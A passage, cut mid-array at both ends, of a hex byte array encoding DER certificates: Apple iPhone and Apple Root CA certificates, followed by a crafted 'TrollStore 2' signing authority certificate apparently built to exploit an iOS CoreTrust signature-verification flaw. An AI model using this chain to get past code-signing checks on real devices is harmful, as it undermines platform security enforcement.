0xa7, 0x55, 0xfc, 0xbf, 0x7e, 0x9d, 0x87, 0x0c, 0xc4, 0x63, 0x31, 0x8a,
0x0e, 0x6b, 0xbe, 0xc5, 0x07, 0xa6, 0x91, 0xc2, 0x04, 0x62, 0x53, 0x8d,
0xae, 0x6d, 0xcb, 0x36, 0x56, 0xce, 0xc8, 0xaf, 0x39, 0xa5, 0xcb, 0x7e,
0x90, 0x0f, 0x95, 0xcc, 0xc1, 0x43, 0x3a, 0xcd, 0xc9, 0x06, 0xb1, 0x99,
0xd0, 0xfd, 0xf0, 0xa8, 0x42, 0xa8, 0xa0, 0xcf, 0x7a, 0x1b, 0xed, 0xde,
0x67, 0x1c, 0x6e, 0xcd, 0x63, 0x38, 0xd5, 0x90, 0x0c, 0xee, 0x33, 0xb0,
0xdd, 0x0e, 0x82, 0x8a, 0xc5, 0xb5, 0xb9, 0x7a, 0xe4, 0x07, 0x3b, 0x51,
0x84, 0xbd, 0x8b, 0x58, 0x37, 0xa7, 0xf2, 0x4b, 0xb4, 0xe6, 0x16, 0x24,
0x65, 0x8c, 0xb9, 0xba, 0x34, 0xd3, 0xfe, 0xf0, 0x29, 0x22, 0x85, 0xa7,
0x74, 0x5c, 0x32, 0x6b, 0x88, 0x45, 0xc9, 0xde, 0x21, 0x8e, 0xd3, 0x53,
0x9c, 0x3a, 0xd9, 0x40, 0x33, 0x59, 0x3f, 0x6f, 0xfe, 0x35, 0xc6, 0x2b,
0x71, 0xd0, 0x3c, 0xdd, 0x36, 0x8f, 0x8e, 0x66, 0xea, 0x01, 0x25, 0x18,
0x30, 0x82, 0x04, 0x44, 0x30, 0x82, 0x03, 0x2c, 0xa0, 0x03, 0x02, 0x01,
0x02, 0x02, 0x08, 0x5c, 0x63, 0xca, 0xe4, 0x4a, 0x37, 0x53, 0xc9, 0x30,
0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
0x05, 0x00, 0x30, 0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55,
0x04, 0x0a, 0x13, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e,
0x63, 0x2e, 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13,
0x1d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69,
0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74,
0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03,
0x55, 0x04, 0x03, 0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52,
0x6f, 0x6f, 0x74, 0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x37,
0x30, 0x35, 0x31, 0x30, 0x32, 0x31, 0x32, 0x37, 0x33, 0x30, 0x5a, 0x17,
0x0d, 0x33, 0x30, 0x31, 0x32, 0x33, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x5a, 0x30, 0x73, 0x31, 0x2d, 0x30, 0x2b, 0x06, 0x03, 0x55, 0x04,
0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x69, 0x50, 0x68,
0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e, 0x06, 0x03, 0x55, 0x04, 0x0b,
0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74,
0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c, 0x0a,
0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x0b,
0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x30,
0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30,
0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xc9, 0x45, 0x6a, 0x01,
0x0f, 0x3e, 0x83, 0x04, 0x86, 0xc7, 0xfc, 0xbf, 0xdc, 0x5e, 0xf0, 0x1e,
0x81, 0xee, 0x17, 0x30, 0x73, 0x63, 0x26, 0x2e, 0xde, 0x3d, 0x7a, 0x24,
0xcd, 0x93, 0x3e, 0x4f, 0x39, 0x47, 0xba, 0x75, 0xbe, 0xf3, 0xc0, 0xd2,
0xf1, 0x59, 0xa2, 0xab, 0x1f, 0xfe, 0x0a, 0x86, 0x3c, 0xd9, 0x2d, 0x9a,
0x07, 0xf2, 0x0e, 0x6b, 0xb9, 0x29, 0x91, 0x1a, 0x5f, 0x22, 0x0a, 0x8b,
0xf1, 0x72, 0x58, 0x05, 0xae, 0x4c, 0x4b, 0x44, 0xc5, 0x79, 0xa7, 0x80,
0x3c, 0xb0, 0x88, 0xe0, 0x8c, 0x0c, 0x27, 0x84, 0x5d, 0x19, 0xe5, 0x87,
0x19, 0x36, 0xcb, 0xe3, 0xc5, 0x76, 0xb7, 0xb0, 0xf4, 0x41, 0x72, 0x51,
0xf4, 0x05, 0x5c, 0x83, 0x4b, 0xa2, 0x6d, 0xa6, 0x51, 0xb8, 0xf1, 0x26,
0xdf, 0x7b, 0x5e, 0xad, 0x65, 0x0c, 0xc6, 0xb2, 0x98, 0x51, 0x8c, 0xbb,
0x7d, 0x1b, 0x4c, 0xc1, 0x4e, 0xc8, 0x08, 0xc7, 0xd2, 0xed, 0x64, 0x0b,
0xb4, 0xdd, 0x1b, 0x8d, 0x4f, 0x40, 0x7d, 0x1b, 0x8f, 0x48, 0x96, 0x92,
0x5b, 0xf3, 0xd0, 0x98, 0x7e, 0xd9, 0xbc, 0xa4, 0x19, 0x0e, 0x99, 0x61,
0xbb, 0x41, 0x5d, 0x01, 0xcc, 0x5b, 0x77, 0x7a, 0x7d, 0x24, 0xd0, 0xdc,
0xd3, 0x53, 0xff, 0xc3, 0xdc, 0xc5, 0x94, 0x2c, 0xb6, 0x5a, 0x4d, 0x8e,
0x18, 0x23, 0x39, 0xbd, 0xd9, 0xc6, 0x52, 0x3e, 0xd1, 0xf2, 0xf4, 0x25,
0x8a, 0xa1, 0x2a, 0x87, 0xfd, 0xd8, 0x0c, 0x46, 0x29, 0x51, 0xff, 0xed,
0x17, 0x6c, 0x89, 0x25, 0x6b, 0x87, 0xbf, 0x8a, 0x69, 0x14, 0x9f, 0x77,
0x9f, 0xc3, 0x15, 0xb7, 0x68, 0xb3, 0x88, 0x45, 0xbd, 0x84, 0xe6, 0x06,
0x02, 0x41, 0x64, 0x0f, 0xad, 0x2a, 0x28, 0xb8, 0x15, 0xc9, 0xe0, 0xac,
0xa7, 0x8a, 0xba, 0x72, 0x04, 0x34, 0xb2, 0x78, 0x8c, 0xf8, 0xb2, 0x85,
0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xec, 0x30, 0x81, 0xe9, 0x30,
0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30,
0x03, 0x01, 0x01, 0xff, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04,
0x18, 0x30, 0x16, 0x80, 0x14, 0x2b, 0xd0, 0x69, 0x47, 0x94, 0x76, 0x09,
0xfe, 0xf4, 0x6b, 0x8d, 0x2e, 0x40, 0xa6, 0xf7, 0x47, 0x4d, 0x7f, 0x08,
0x5e, 0x30, 0x44, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01,
0x01, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x28, 0x68, 0x74, 0x74, 0x70, 0x3a,
0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x30, 0x33, 0x2d,
0x61, 0x70, 0x70, 0x6c, 0x65, 0x72, 0x6f, 0x6f, 0x74, 0x63, 0x61, 0x30,
0x2e, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x27, 0x30, 0x25, 0x30, 0x23,
0xa0, 0x21, 0xa0, 0x1f, 0x86, 0x1d, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f,
0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63,
0x6f, 0x6d, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2e, 0x63, 0x72, 0x6c, 0x30,
0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x6f, 0xf1,
0x95, 0x18, 0x62, 0x5c, 0xe0, 0xc8, 0xf1, 0xc5, 0xed, 0x6c, 0x18, 0xc9,
0xe0, 0xd3, 0x64, 0x52, 0x98, 0x20, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d,
0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x10,
0x06, 0x0a, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x02, 0x12,
0x04, 0x02, 0x05, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86,
0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00,
0x3a, 0xcf, 0xac, 0x98, 0x8d, 0xbe, 0x92, 0x20, 0x21, 0x09, 0xad, 0x95,
0xf3, 0xb1, 0x5c, 0x21, 0xfa, 0x36, 0x2d, 0x57, 0x20, 0x44, 0x74, 0x73,
0x64, 0x92, 0x08, 0xb3, 0x96, 0xac, 0xf7, 0x6d, 0x97, 0xfa, 0x5b, 0x34,
0x38, 0x27, 0xcf, 0x12, 0x46, 0xd3, 0x3c, 0x11, 0xf0, 0x07, 0xc9, 0x99,
0x90, 0xb1, 0xd1, 0xe8, 0x11, 0x09, 0xa5, 0xe3, 0xa5, 0x6b, 0x6c, 0x63,
0x08, 0x3f, 0x9e, 0x25, 0xfa, 0xd5, 0x99, 0x9c, 0x4c, 0xe6, 0xe5, 0xce,
0x8e, 0xb2, 0x4d, 0x68, 0xec, 0x8b, 0xab, 0xa3, 0xa2, 0x4f, 0x8a, 0x11,
0x15, 0x3e, 0xdc, 0x14, 0x2b, 0x1c, 0xc6, 0x44, 0xb6, 0x6f, 0x67, 0xc5,
0x5b, 0x4f, 0x95, 0x29, 0x2d, 0x87, 0x5c, 0x3f, 0xdc, 0x83, 0x1e, 0x77,
0x4f, 0xed, 0xda, 0x54, 0xa7, 0x2d, 0xe7, 0x13, 0x81, 0xc1, 0x63, 0xc4,
0x54, 0x0b, 0x1b, 0x4b, 0x0a, 0x6a, 0x28, 0x22, 0x08, 0xd4, 0x37, 0x92,
0x7c, 0x7f, 0x67, 0x28, 0x5f, 0xaf, 0x3d, 0x3f, 0xb7, 0xac, 0x59, 0x1d,
0x38, 0x34, 0x64, 0x5a, 0xee, 0x33, 0x4a, 0x19, 0x42, 0x44, 0x29, 0xc4,
0xca, 0x18, 0x6b, 0xe1, 0xc1, 0x53, 0x2d, 0x2d, 0xf4, 0x4d, 0xc2, 0x15,
0xf6, 0x33, 0x32, 0x18, 0x78, 0xf1, 0x26, 0x6f, 0x8a, 0x4d, 0xeb, 0x94,
0x4c, 0xa3, 0xe8, 0xff, 0x0f, 0xb3, 0x03, 0x8b, 0x65, 0xda, 0xeb, 0x2e,
0xd8, 0x65, 0x50, 0x9f, 0xdc, 0x9f, 0x8a, 0xdf, 0x31, 0xa8, 0x84, 0x54,
0xdc, 0x52, 0x52, 0x41, 0xd2, 0xb2, 0x13, 0x1d, 0x31, 0x46, 0x47, 0x88,
0x5f, 0x3e, 0xee, 0xc3, 0xf2, 0x8c, 0x23, 0x04, 0x95, 0xeb, 0xac, 0x8a,
0x3e, 0x82, 0x6c, 0x06, 0x9f, 0x2e, 0xe3, 0x8b, 0x43, 0x9a, 0x62, 0x5b,
0x34, 0x0d, 0xf4, 0x99, 0xcf, 0x2c, 0xee, 0xba, 0x72, 0x86, 0x19, 0x23,
0xa5, 0xfc, 0x8e, 0xb5, 0x30, 0x82, 0x04, 0xbb, 0x30, 0x82, 0x03, 0xa3,
0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x01, 0x02, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30,
0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13,
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x1d, 0x41, 0x70,
0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52, 0x6f, 0x6f, 0x74,
0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x36, 0x30, 0x34, 0x32,
0x35, 0x32, 0x31, 0x34, 0x30, 0x33, 0x36, 0x5a, 0x17, 0x0d, 0x33, 0x35,
0x30, 0x32, 0x30, 0x39, 0x32, 0x31, 0x34, 0x30, 0x33, 0x36, 0x5a, 0x30,
0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13,
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x1d, 0x41, 0x70,
0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52, 0x6f, 0x6f, 0x74,
0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a,
0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82,
0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00,
0xe4, 0x91, 0xa9, 0x09, 0x1f, 0x91, 0xdb, 0x1e, 0x47, 0x50, 0xeb, 0x05,
0xed, 0x5e, 0x79, 0x84, 0x2d, 0xeb, 0x36, 0xa2, 0x57, 0x4c, 0x55, 0xec,
0x8b, 0x19, 0x89, 0xde, 0xf9, 0x4b, 0x6c, 0xf5, 0x07, 0xab, 0x22, 0x30,
0x02, 0xe8, 0x18, 0x3e, 0xf8, 0x50, 0x09, 0xd3, 0x7f, 0x41, 0xa8, 0x98,
0xf9, 0xd1, 0xca, 0x66, 0x9c, 0x24, 0x6b, 0x11, 0xd0, 0xa3, 0xbb, 0xe4,
0x1b, 0x2a, 0xc3, 0x1f, 0x95, 0x9e, 0x7a, 0x0c, 0xa4, 0x47, 0x8b, 0x5b,
0xd4, 0x16, 0x37, 0x33, 0xcb, 0xc4, 0x0f, 0x4d, 0xce, 0x14, 0x69, 0xd1,
0xc9, 0x19, 0x72, 0xf5, 0x5d, 0x0e, 0xd5, 0x7f, 0x5f, 0x9b, 0xf2, 0x25,
0x03, 0xba, 0x55, 0x8f, 0x4d, 0x5d, 0x0d, 0xf1, 0x64, 0x35, 0x23, 0x15,
0x4b, 0x15, 0x59, 0x1d, 0xb3, 0x94, 0xf7, 0xf6, 0x9c, 0x9e, 0xcf, 0x50,
0xba, 0xc1, 0x58, 0x50, 0x67, 0x8f, 0x08, 0xb4, 0x20, 0xf7, 0xcb, 0xac,
0x2c, 0x20, 0x6f, 0x70, 0xb6, 0x3f, 0x01, 0x30, 0x8c, 0xb7, 0x43, 0xcf,
0x0f, 0x9d, 0x3d, 0xf3, 0x2b, 0x49, 0x28, 0x1a, 0xc8, 0xfe, 0xce, 0xb5,
0xb9, 0x0e, 0xd9, 0x5e, 0x1c, 0xd6, 0xcb, 0x3d, 0xb5, 0x3a, 0xad, 0xf4,
0x0f, 0x0e, 0x00, 0x92, 0x0b, 0xb1, 0x21, 0x16, 0x2e, 0x74, 0xd5, 0x3c,
0x0d, 0xdb, 0x62, 0x16, 0xab, 0xa3, 0x71, 0x92, 0x47, 0x53, 0x55, 0xc1,
0xaf, 0x2f, 0x41, 0xb3, 0xf8, 0xfb, 0xe3, 0x70, 0xcd, 0xe6, 0xa3, 0x4c,
0x45, 0x7e, 0x1f, 0x4c, 0x6b, 0x50, 0x96, 0x41, 0x89, 0xc4, 0x74, 0x62,
0x0b, 0x10, 0x83, 0x41, 0x87, 0x33, 0x8a, 0x81, 0xb1, 0x30, 0x58, 0xec,
0x5a, 0x04, 0x32, 0x8c, 0x68, 0xb3, 0x8f, 0x1d, 0xde, 0x65, 0x73, 0xff,
0x67, 0x5e, 0x65, 0xbc, 0x49, 0xd8, 0x76, 0x9f, 0x33, 0x14, 0x65, 0xa1,
0x77, 0x94, 0xc9, 0x2d, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x82, 0x01,
0x7a, 0x30, 0x82, 0x01, 0x76, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f,
0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x0f, 0x06,
0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30, 0x03, 0x01,
0x01, 0xff, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04,
0x14, 0x2b, 0xd0, 0x69, 0x47, 0x94, 0x76, 0x09, 0xfe, 0xf4, 0x6b, 0x8d,
0x2e, 0x40, 0xa6, 0xf7, 0x47, 0x4d, 0x7f, 0x08, 0x5e, 0x30, 0x1f, 0x06,
0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x2b, 0xd0,
0x69, 0x47, 0x94, 0x76, 0x09, 0xfe, 0xf4, 0x6b, 0x8d, 0x2e, 0x40, 0xa6,
0xf7, 0x47, 0x4d, 0x7f, 0x08, 0x5e, 0x30, 0x82, 0x01, 0x11, 0x06, 0x03,
0x55, 0x1d, 0x20, 0x04, 0x82, 0x01, 0x08, 0x30, 0x82, 0x01, 0x04, 0x30,
0x82, 0x01, 0x00, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64,
0x05, 0x01, 0x30, 0x81, 0xf2, 0x30, 0x2a, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1e, 0x68, 0x74, 0x74, 0x70, 0x73,
0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x63, 0x61,
0x2f, 0x30, 0x81, 0xc3, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07,
0x02, 0x02, 0x30, 0x81, 0xb6, 0x1a, 0x81, 0xb3, 0x52, 0x65, 0x6c, 0x69,
0x61, 0x6e, 0x63, 0x65, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x69, 0x73,
0x20, 0x63, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65,
0x20, 0x62, 0x79, 0x20, 0x61, 0x6e, 0x79, 0x20, 0x70, 0x61, 0x72, 0x74,
0x79, 0x20, 0x61, 0x73, 0x73, 0x75, 0x6d, 0x65, 0x73, 0x20, 0x61, 0x63,
0x63, 0x65, 0x70, 0x74, 0x61, 0x6e, 0x63, 0x65, 0x20, 0x6f, 0x66, 0x20,
0x74, 0x68, 0x65, 0x20, 0x74, 0x68, 0x65, 0x6e, 0x20, 0x61, 0x70, 0x70,
0x6c, 0x69, 0x63, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x73, 0x74, 0x61, 0x6e,
0x64, 0x61, 0x72, 0x64, 0x20, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x20, 0x61,
0x6e, 0x64, 0x20, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e,
0x73, 0x20, 0x6f, 0x66, 0x20, 0x75, 0x73, 0x65, 0x2c, 0x20, 0x63, 0x65,
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x20, 0x70, 0x6f,
0x6c, 0x69, 0x63, 0x79, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x63, 0x65, 0x72,
0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x70,
0x72, 0x61, 0x63, 0x74, 0x69, 0x63, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74,
0x65, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x30, 0x0d, 0x06, 0x09, 0x2a,
0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82,
0x01, 0x01, 0x00, 0x5c, 0x36, 0x99, 0x4c, 0x2d, 0x78, 0xb7, 0xed, 0x8c,
0x9b, 0xdc, 0xf3, 0x77, 0x9b, 0xf2, 0x76, 0xd2, 0x77, 0x30, 0x4f, 0xc1,
0x1f, 0x85, 0x83, 0x85, 0x1b, 0x99, 0x3d, 0x47, 0x37, 0xf2, 0xa9, 0x9b,
0x40, 0x8e, 0x2c, 0xd4, 0xb1, 0x90, 0x12, 0xd8, 0xbe, 0xf4, 0x73, 0x9b,
0xee, 0xd2, 0x64, 0x0f, 0xcb, 0x79, 0x4f, 0x34, 0xd8, 0xa2, 0x3e, 0xf9,
0x78, 0xff, 0x6b, 0xc8, 0x07, 0xec, 0x7d, 0x39, 0x83, 0x8b, 0x53, 0x20,
0xd3, 0x38, 0xc4, 0xb1, 0xbf, 0x9a, 0x4f, 0x0a, 0x6b, 0xff, 0x2b, 0xfc,
0x59, 0xa7, 0x05, 0x09, 0x7c, 0x17, 0x40, 0x56, 0x11, 0x1e, 0x74, 0xd3,
0xb7, 0x8b, 0x23, 0x3b, 0x47, 0xa3, 0xd5, 0x6f, 0x24, 0xe2, 0xeb, 0xd1,
0xb7, 0x70, 0xdf, 0x0f, 0x45, 0xe1, 0x27, 0xca, 0xf1, 0x6d, 0x78, 0xed,
0xe7, 0xb5, 0x17, 0x17, 0xa8, 0xdc, 0x7e, 0x22, 0x35, 0xca, 0x25, 0xd5,
0xd9, 0x0f, 0xd6, 0x6b, 0xd4, 0xa2, 0x24, 0x23, 0x11, 0xf7, 0xa1, 0xac,
0x8f, 0x73, 0x81, 0x60, 0xc6, 0x1b, 0x5b, 0x09, 0x2f, 0x92, 0xb2, 0xf8,
0x44, 0x48, 0xf0, 0x60, 0x38, 0x9e, 0x15, 0xf5, 0x3d, 0x26, 0x67, 0x20,
0x8a, 0x33, 0x6a, 0xf7, 0x0d, 0x82, 0xcf, 0xde, 0xeb, 0xa3, 0x2f, 0xf9,
0x53, 0x6a, 0x5b, 0x64, 0xc0, 0x63, 0x33, 0x77, 0xf7, 0x3a, 0x07, 0x2c,
0x56, 0xeb, 0xda, 0x0f, 0x21, 0x0e, 0xda, 0xba, 0x73, 0x19, 0x4f, 0xb5,
0xd9, 0x36, 0x7f, 0xc1, 0x87, 0x55, 0xd9, 0xa7, 0x99, 0xb9, 0x32, 0x42,
0xfb, 0xd8, 0xd5, 0x71, 0x9e, 0x7e, 0xa1, 0x52, 0xb7, 0x1b, 0xbd, 0x93,
0x42, 0x24, 0x12, 0x2a, 0xc7, 0x0f, 0x1d, 0xb6, 0x4d, 0x9c, 0x5e, 0x63,
0xc8, 0x4b, 0x80, 0x17, 0x50, 0xaa, 0x8a, 0xd5, 0xda, 0xe4, 0xfc, 0xd0,
0x09, 0x07, 0x37, 0xb0, 0x75, 0x75, 0x21, 0x30, 0x82, 0x05, 0x20, 0x30,
0x82, 0x04, 0x08, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x14, 0x18, 0xa5,
0xfe, 0xfd, 0x11, 0xd9, 0xc4, 0xcc, 0x28, 0xd6, 0xf8, 0xff, 0xcf, 0xf4,
0x58, 0x6e, 0xc6, 0xc8, 0x3e, 0xf3, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86,
0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x81, 0xfc,
0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55,
0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x0c, 0x0a,
0x43, 0x61, 0x6c, 0x69, 0x66, 0x6f, 0x72, 0x6e, 0x69, 0x61, 0x31, 0x12,
0x30, 0x10, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x09, 0x43, 0x75, 0x70,
0x65, 0x72, 0x74, 0x69, 0x6e, 0x6f, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03,
0x55, 0x04, 0x0a, 0x0c, 0x2b, 0x54, 0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74,
0x6f, 0x72, 0x65, 0x20, 0x32, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65,
0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69,
0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79,
0x31, 0x33, 0x30, 0x31, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x2a, 0x54,
0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x20, 0x32, 0x20,
0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x41, 0x70,
0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x53, 0x69,
0x67, 0x6e, 0x69, 0x6e, 0x67, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55,
0x04, 0x03, 0x0c, 0x2b, 0x54, 0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f,
0x72, 0x65, 0x20, 0x32, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20,
0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31,
0x23, 0x30, 0x21, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01,
0x09, 0x01, 0x16, 0x14, 0x74, 0x72, 0x6f, 0x6c, 0x6c, 0x40, 0x63, 0x6f,
0x72, 0x65, 0x74, 0x72, 0x75, 0x73, 0x74, 0x2e, 0x68, 0x61, 0x78, 0x78,
0x30, 0x1e, 0x17, 0x0d, 0x32, 0x33, 0x31, 0x31, 0x32, 0x36, 0x32, 0x30,
0x31, 0x39, 0x32, 0x36, 0x5a, 0x17, 0x0d, 0x33, 0x33, 0x31, 0x31, 0x32,
